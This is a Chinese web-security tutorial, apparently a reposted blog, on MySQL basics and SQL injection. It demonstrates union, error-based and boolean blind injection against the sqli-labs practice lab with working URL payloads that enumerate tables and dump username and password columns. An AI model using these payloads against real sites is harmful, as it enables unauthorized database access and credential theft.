当前位置: 首页 > news >正文

【web安全】——sql注入

1.MySQL基础

1.1information_schema数据库详解

简介:

在mysql5版本以后,为了方便管理,默认定义了information_schema数据库,用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。

schemata表详解

在schemata表中,schema name字段用来存储用户创建的所有数据库名

tables表详解

tables表存储该用户创建的所有数据库的库名和表名,table schema用来存储该数据隶属于哪个数据库,table name用来存储表名。

columns表详解

columns表存储了mysql下的每一个数据表中的所有列名,column_name用来存储字段名table name用来存储该字段属于哪一个数据表、table schema用来存储当前字段所属数据表所在的数据库名称。

1.2常用sql语句

show databases; 查看所有数据库

create database testl;创建一个名为test数据库

drop database test; 删除一个叫test的数据库

use test 选中库

show table 在选中的数据库中查看所有表

create table 表名(字段1 类型,字段2,类型)

desc 表名 ; 查看所在的表的字段

show create database 库名;查看创建库的详细信息

show create table 表名;查看创建表的详细信息

查询

1.条件查询

select username,name from user,goods where user,gid=dods,gid;

修改表的命令

1.修改字段类型 alter table 表名 modify字段 字段类型;

2.添加新的字段 alter table 表名 add 字段 字段类型

3.添加字段并指定位置 alter table 表名 add字段 字段类型 after 字段;

4.删除字段 alter table 表名 drop 字段名

5.修改指定字段 alter table 表名 change 原字段名字 新的字段名字 字段类型

对数据库的操作命令

1.增加数据的方式

insert into 表名 values(值1,值2,....)

insert into 表名(字段1,字段2,....)values(值1,值2,....),值1,值2,....)

2.删除数据

delete from 表名 where 条件 注意:where 条件必须加,否则数据会被全部删除

3.更新数据.

update 表名 set字段1=值1,字段2=值2 where 条件

4.查询数据

查询表中所有数据 select * from 表名

指定数据查询 select 字段 from 表名

根据条件查询出来的数据 select 字段 from 表名 where 条件

where 条件后面跟的条件关系:>,<,>=,<=,!= 逻辑:or,and 区间:id between 4 and 6;闭区间,包含边界

5.排序

select 字段 from 表 order by 字段 非序关键词(desclasc)desc 降序 asc 升序(默认)

6.常用的统计函数

sum,avg ,count,max,min

只分组:select * from 表 group by 字段

分组统计:select count(sex)from star group by sex;

7.分组 select * from 表名 limit 偏移量,数量说明

1.3常用函数

函数

作用

version()

查看mysql数据库版本

user()

查看数据库用户名

database()

查看数据库名称

@@basedir

查看数据库安装路径

@@datadir

查看数据库文件存放路径

@@version_compile_os

查看操作系统版本

1.3.1union联合注入函数

concat()用来拼接字符串,直接拼接,字符串之间没有符号

concat_ws() 可以指定符号拼接字符串

group_caoncat() 指定符号拼接字符串

1.4mysql中的注释符

#单行注释 url编码为%23

--空格 单行注释

/*()*/多行注释

1.5常见数据库默认端口号

关系型数据库

mysql 3306

sqlserver 1433

oracle 1521

psotgresql 5432

非关系型数据库

MongDB 27017

Redis 6379

2.sql注入基础

2.1漏洞成因原理

web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并且并提供前端展示的资源,而资源就存储在数据库中。而sql注入漏洞形成的原因就是,web应用程序对用户输入的参数未做好过滤,导致攻击者可以构造sql语句,在管理员不知情情况下实现非法操作,一起获取关键信息。

必要成因

参数用户可控

参数带入数据库中查询

2.2漏洞的危害

1.获取网站服务器中的数据 数据库中存放的用户的隐私信息的泄露。

2.写入木马获取shell 修改数据库一些字段的值,嵌入网马链接,进行挂马攻击

3.网页篡改 通过操作数据库对特定网页进行篡改

4.添加恶意用户

5.权限提升,安装后门 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统

2.3sql注入分类

2.3.1按数据类型分类

数字型;字符型;搜索型

2.3.2按提交方式分类

get型 post型 http头型

2.3.3按注入手法分类

union联合注入

union 函数用于对两个或者多个sql查询结果进行取并集操作。

盲注(布尔盲注,时间盲注,dnslog外带注入)

报错注入(闭合符报错注入、报错函数(updatexmk,exp,floor))

异或注入

二次注入

宽字节注入

堆叠注入

2.4判断注入点

2.4.1方法

(以数字型为例 )

单引号判断

如果页面返回错误,则存在sql注入

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面不正常

select * from users where id and 1=1 limt 0,1 页面正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 页面不正常

2.4.2注入类型判断

select*from user where id=1and1=1

如果满足,就是一个数字类型(确定id=1存在)

3.union联合注入

联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上有回显位。联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的列数要相同,不然会出现报错。

前提:

1、union select 查询的列数要和它之前的语句返回的列数相同(重点)

2、每列的数据类型要相同

基本思路:

判断注入点->判断类型->构造闭合->判断类型->判断显示位->获取数据库信息->获取表名->获取列名->获取字段名

3.1判断注入点与注入类型

以sql-labs第一关为例

?id=1 and 1=2(先输入id=1 然后在后面拼接1=2)

显示正常 说明1=2没有被执行

尝试加引号进行闭合

?id=1' and 1=2

页面出现错误,说明1=2被执行,说明我们输入的sql语句被成功执行

因此判断出 注入点在引号后面,注入类型为字符串型

查看源码,符合猜想

3.2判断字段数

使用order by 1,2,3...尝试

在尝试到4的时候页面出现错误,说明字段数为3

3.3判断回显点

使用联合查询 因为字段数为3 所以 union select 1,2,3

为什么没有显示出回显点呢???

因为此时 显示id=1时的界面 可以将id改为不存在的数或一个大点的数字

可以看到 回显点为2,3

3.4查询数据库

?id=1' union select 1,database(),3 -- +

查询数据库 使用database()

回显点可以看到 数据库名称为 security

3.5获取表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table schema='security'--+

也可以使用limit逐个查询

使用group_concat 但如果表名过多可能会显示不完整

3.6查询列名

?id=-1 union select 1,2,group_concat(column_name) frominformation_schema.columns where table_name='users'--+

在users表中查到了 id与password字段

3.7查数据

?id=-1 union select 1,group_concat(username),group_concat(password) from users-- +

4.报错注入

4.1原理:

报错注入就是利用数据库的某些机制,人为的去构造sql错误,使得想要的信息能够通过报错信息得到

4.2常见报错函数

floor();extractValue();updateXml();NAME_CONST();jion();exp()

4.2.1floor函数报错注入

floor报错注入是利用数据库表主键不能重复的原理,使用group_by分组,产生主键冲突,导致报错。要保证floor报错注入,那么必须保证査询的表必须大于三条数据,并且mysql版本需满足大于5.0小于8.x的条件。

select count(*),floor(rand(0)*2)xfrom ceshi group by x;

floor():向下取整,例如select floor(1.7),返回1rand():返回一个0~1的随机数,如果是rand(0)或rand(1),则每次执行的结果是相同的COUNT(*):返回值的条目,与count()的区别在于其不排除NULL,count()如果统计到NULL,返回的结果即为NULL。

group by():语句用于结合聚合函数,根据一个或多个列对结果集进行分组。

4.2.2updateXml()报错注入

先了解一下updatexml函数的语法

updatexml(XML document,xpath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

利用:我们可以构建一个非法的路径,在第二个参数中。 concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在第二个参数中,将我们的恶意语句用concat函数包裹起来即可,此时程序的报错信息中就会返回执行我们恶意命令后的结果

4.2.3extractValue()报错注入

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath string(Xpath格式的字符串)

原理同updatexml,都是构建非法路径,通过报错信息得到我们想要的信息

5.盲注

5.1原理

程序员在开发过程中,隐藏了数据库的内建报错信息,并替换为通用的错误提示,那么SQL注入将无法依据报错信息判断注入语句的执行结果,这就是“盲”的意思。

其中,盲注又分为时间盲注与布尔盲注

布尔盲注:当页面只有正常(true)与不正常(false)两种回显时候,我们通过自己输入的sql语句与页面的回应,去判断数据信息。

时间盲注:通过sql语句与sleep()函数进行拼接,通过判断网站sleep时间去判断我们输入的sql语句是否正确,得到想要的信息。

5.2盲注的步骤

求数据库名的长度及ASCII->求当前数据库表的ASCII->求当前数据库表中的个数->求数据库中表名的长度>求数据库中表名->求列名的数量->求列名的长度->求列名的ASCII->求字段的数量->求字段的长度->求字段内容ASCII

5.3布尔盲注

5.3.1布尔盲注使用的函数

substr()截取函数

语法:substr(str,start, length)

第一个参数str为被截取的字符串。

第二个参数start为开始截取的位置。

第三个参数1ength为截取的长度。

left()截取函数

语法:left(str,length)

第一个参数str为被截取的字符串。

第二个参数1ength为截取的长度,

right()截取函数

语法:rigth(user(),2)

参考left()函数用法。

length()计算函数

语法:length(str)

第一个参数str为字符串。

5.3.2布尔盲注演示

1.判断注入点与注入类型同上 不再做演示
2.判断数据库版本

?id=1'and left(version(),1)=5--+

页面显示正常,说明版本号第一个数字为5,以此类推将版本号找出来

3.猜测数据库名字长度

同理,通过各种大于号,小于号的判断,观察页面显示是否正常,判断出数据库长度大概所在范围

?id=1'and length(database())=8--十

页面显示正常,说明数据库名字长度为8

4.判断数据库名

?id=1'and ascii(substr(database(),1,1))>100--+ 页面正常

?id=1'and ascii(substr(database(),1,1))<120--+页面正常?

说明,数据库名的第一个字符的ASCII码位于100-120之间,继续判断

?id=1'and ascii(substr(database(),1,1))=115 --+ 页面正常

查询ASCII表后得知 数据库名第一个字母为s 以此类推,将数据库名字推理出来

5.猜测表的数量

?id=1'and (length((select table_name from information_schema.tables where

table_ schema='security'limit 4,1)))>0--+页面不正常

limit替换为3,1的时候正常 说明表的数量为4

limit 4,1表示从4开始取第一个表,即第五张表,页面显示不正常,而3,1正常说明为数量4

6.猜测表名的长度

与猜测库名长度的sql语句类似,只是length的对象变成了表

7.猜测表名

同上,与猜数据库名的方法类似,将substr中的数据库换位表

8.猜测列数

同理使用length(),参数变为column_name

9.猜测列名长度

见猜测表名长度

10.猜测列名

见猜测表名

11.猜测字段名长度

?id=1'and (length((select username from users limit 0,1)))=4--+

12.猜测字段名

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+

结果为大写D 依次类推

由于靠上面猜测过于费时费力,因此对于盲注我们常常使用脚本辅助

相关文章:

【web安全】——sql注入

1.MySQL基础 1.1information_schema数据库详解 简介&#xff1a; 在mysql5版本以后&#xff0c;为了方便管理&#xff0c;默认定义了information_schema数据库&#xff0c;用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。…...

vue基础面试题

1.Vue指令 v-bind&#xff1a;动态绑定数据 v-on&#xff1a;绑定事件监听器 v-for&#xff1a;循环指令&#xff0c;可以循环数组或对象 v-if&#xff1a;根据表达式的真假值&#xff0c;判断是否渲染元素&#xff0c;会销毁并重建 v-show&#xff1a;显示隐藏元素&#xff0…...

关系型数据库和非关系型数据库的区别

1.常见的主流数据库 关系型数据库&#xff1a; MySql 、达梦 、PostgreSQL 、Oracle 、Sql Server 、Sqlite非关系型数据库&#xff1a; Redis 、MongoDB 、HBase 、 Neo4J 、 CouchDB 2.介绍 关系型数据库最典型的数据结构是表&#xff0c;由二维表及其之间的联系…...

学习之什么是迭代器

什么是迭代器 迭代器的作用&#xff1a;访问容器中的元素 首先要了解什么是Iterablelterable(可迭代的) 字符串、列表、元组、字典都是lterable&#xff0c;都可以放到for循环语句中遍历 lterable类型的定义中一定有一个_iter_方法iter 方法必须返回一个lterator(迭代器) 可以…...

数据结构-3.6.队列的链式实现

队列可以理解为单链表的阉割版&#xff0c;相比单链表而言&#xff0c;队列只有在添加和删除元素上和单链表有区别 一.队列的链式实现&#xff1a; 1.图解&#xff1a; 2.代码&#xff1a; #include<stdio.h> ​ typedef struct LinkNode //链式队列结点 {int data;st…...

Java中去除字符串中的空格

在平时的开发中&#xff0c;在后端经常要获取前端传过来的字符串&#xff0c;有的是用户从输入框中输入的&#xff0c;有的是通过excel表格中获取的。 在这些字符串中&#xff0c;有时候会遇到字符串中有空格、换行符或者制表符&#xff0c;对于这种字符串来说&#xff0c;直接…...

AI大模型算法工程师就业宝典—— 高薪入职攻略与转行秘籍!

从ChatGPT到新近的GPT-4&#xff0c;GPT模型的发展表明&#xff0c;AI正在向着“类⼈化”⽅向迅速发展。 GPT-4具备深度阅读和识图能⼒&#xff0c;能够出⾊地通过专业考试并完成复杂指令&#xff0c;向⼈类引以为傲的“创造⼒”发起挑战。 现有的就业结构即将发⽣重⼤变化&a…...

node-rtsp-stream、jsmpeg.min.js实现rtsp视频在web端播放

1. 服务地址&#xff08;私有&#xff09;&#xff1a;https://gitee.com/nnlss/video-node-server 2.node-rtsp-stream 需要安装FFMPEG&#xff1b; 3.给推拉流做了开关&#xff0c;可借助http请求&#xff0c;有更好方式可联系&#xff1b; 4.存在问题&#xff1a; 1&…...

C++ 9.27

作业&#xff1a; 将之前实现的顺序表、栈、队列都更改成模板类 Stack #include <iostream> using namespace std; template <typename T> class Stack { private: T* arr; // 存储栈元素的数组 int top; // 栈顶索引 int capacity; // 栈的…...

让具身智能更快更强!华东师大上大提出TinyVLA:高效视觉-语言-动作模型,遥遥领先

论文链接&#xff1a;https://arxiv.org/pdf/2409.12514 项目链接&#xff1a;https://tiny-vla.github.io/ 具身智能近期发展迅速&#xff0c;拥有了大模型"大脑"的机械臂在动作上更加高效和精确&#xff0c;但现有的一个难点是&#xff1a;模型受到算力和数据的制…...

Excel 获取某列不为空的值【INDEX函数 | SMALL函数或 LARGE函数 | ROW函数 | ISBLANK 函数】

〇、需求 Excel 获取某列不为空的值(获取某列中第一个非空值 或 获取某列中最后一个非空值)。 一、知识点讲解 INDEX函数 和 SMALL函数 两个函数搭配使用都可以实现上述需求 获取某列中第一个非空值 。 INDEX函数 和 LARGE函数 两个函数搭配使用都可以实现上述需求 获取某…...

爆火!大模型算法岗 100 道面试题全解析,赶紧收藏!

大模型应该是目前当之无愧的最有影响力的AI技术&#xff0c;它正在革新各个行业&#xff0c;包括自然语言处理、机器翻译、内容创作和客户服务等等&#xff0c;正在成为未来商业环境的重要组成部分。 截至目前大模型已经超过200个&#xff0c;在大模型纵横的时代&#xff0c;不…...

Python画笔案例-068 绘制漂亮米

1、绘制漂亮米 通过 python 的turtle 库绘制 漂亮米,如下图: 2、实现代码 绘制 漂亮米,以下为实现代码: """漂亮米.py注意亮度为0.5的时候最鲜艳本程序需要coloradd模块支持,安装方法:pip install coloradd程序运行需要很长时间,请耐心等待。可以把窗口最小…...

得物App荣获国家级奖项,正品保障引领潮流电商新风尚

近日&#xff0c;在2024年中国国际服务贸易交易会上&#xff0c;得物App凭借其在科技创新保障品质消费领域的突出成果&#xff0c;再次荣获国家级殊荣——“科技创新服务示范案例”。这是继上海市质量金奖之后&#xff0c;得物App获得的又一个“高含金量”奖项。 作为深受年轻人…...

【BurpSuite】SQL注入 | SQL injection(1-2)

&#x1f3d8;️个人主页&#xff1a; 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞&#x1f44d;收藏&#x1f497;支持一下哦 【BurpSuite】SQL注入 | SQL injection&#xff08;1-2&#xff09; 实验一 Lab: SQL injection vulnerability in WHERE clause…...

ThreadPoolExecutor有哪些核心的配置参数?

ThreadPoolExecutor 是 Java 中强大的线程池实现&#xff0c;具有多种配置参数&#xff0c;可以灵活地根据具体应用需求进行调整。以下是 ThreadPoolExecutor 的核心配置参数及其简要说明&#xff1a; 1. corePoolSize 描述&#xff1a;核心线程池的大小&#xff0c;即最小保…...

关于工作虚拟组的一些思考

这是学习笔记的第 2493篇文章 因为各种工作协作&#xff0c;势必要打破组织边界&#xff0c;可能会存在各种形态的虚拟组。 近期沉淀了一些虚拟组的管理方式&#xff0c;在一定时间范围内也有了一些起色&#xff0c;所以在不断沉淀的过程中&#xff0c;也在不断思考。 这三个虚…...

【Redis入门到精通六】在Spring Boot中集成Redis(含配置和操作演示)

目录 Spring Boot中集成Redis 1.项目创建和环境配置 2.基本操作演示 Spring Boot中集成Redis Spring社区也自定义了一套Redis的客户端&#xff0c;与jedis的操作方式有所差异&#xff0c;Spring中把每个类型的操作都单独封装了起来。下面就让我来带大家了解如何在Spring Boot…...

【CSS】透明度 、过渡 、动画 、渐变

opacity 透明度transition 过渡animation 动画background 渐变 ( 线性渐变 \ 径向渐变 \ 锥形渐变 ) opacity 透明度 设置元素的透明度&#xff0c;会影响元素及其所有子元素的透明度&#xff0c;值范围&#xff1a;0&#xff08;完全透明&#xff09;到 1&#xff08;完全不透…...

尚硅谷vue3+TypeScript笔记大全

1. Vue3简介 2020年9月18日&#xff0c;Vue.js发布版3.0版本&#xff0c;代号&#xff1a;One Piece&#xff08;n 经历了&#xff1a;4800次提交、40个RFC、600次PR、300贡献者 官方发版地址&#xff1a;Release v3.0.0 One Piece vuejs/core 截止2023年10月&#xff0c;最…...

网络编程(Modbus进阶)

思维导图 Modbus RTU&#xff08;先学一点理论&#xff09; 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议&#xff0c;由 Modicon 公司&#xff08;现施耐德电气&#xff09;于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

docker详细操作--未完待续

docker介绍 docker官网: Docker&#xff1a;加速容器应用程序开发 harbor官网&#xff1a;Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台&#xff0c;用于将应用程序及其依赖项&#xff08;如库、运行时环…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

反射获取方法和属性

Java反射获取方法 在Java中&#xff0c;反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;允许程序在运行时访问和操作类的内部属性和方法。通过反射&#xff0c;可以动态地创建对象、调用方法、改变属性值&#xff0c;这在很多Java框架中如Spring和Hiberna…...

Spring数据访问模块设计

前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据&#xff08;数据库、No…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

【安全篇】金刚不坏之身:整合 Spring Security + JWT 实现无状态认证与授权

摘要 本文是《Spring Boot 实战派》系列的第四篇。我们将直面所有 Web 应用都无法回避的核心问题&#xff1a;安全。文章将详细阐述认证&#xff08;Authentication) 与授权&#xff08;Authorization的核心概念&#xff0c;对比传统 Session-Cookie 与现代 JWT&#xff08;JS…...

书籍“之“字形打印矩阵(8)0609

题目 给定一个矩阵matrix&#xff0c;按照"之"字形的方式打印这个矩阵&#xff0c;例如&#xff1a; 1 2 3 4 5 6 7 8 9 10 11 12 ”之“字形打印的结果为&#xff1a;1&#xff0c;…...

深入解析光敏传感技术:嵌入式仿真平台如何重塑电子工程教学

一、光敏传感技术的物理本质与系统级实现挑战 光敏电阻作为经典的光电传感器件&#xff0c;其工作原理根植于半导体材料的光电导效应。当入射光子能量超过材料带隙宽度时&#xff0c;价带电子受激发跃迁至导带&#xff0c;形成电子-空穴对&#xff0c;导致材料电导率显著提升。…...

Modbus转Ethernet IP深度解析:磨粉设备效率跃升的底层技术密码

在建材矿粉磨系统中&#xff0c;开疆智能Modbus转Ethernet IP网关KJ-EIP-101的应用案例是一个重要的技术革新。这个转换过程涉及到两种主要的通信协议&#xff1a;Modbus和Ethernet IP。Modbus是一种串行通信协议&#xff0c;广泛应用于工业控制系统中。它简单、易于部署和维护…...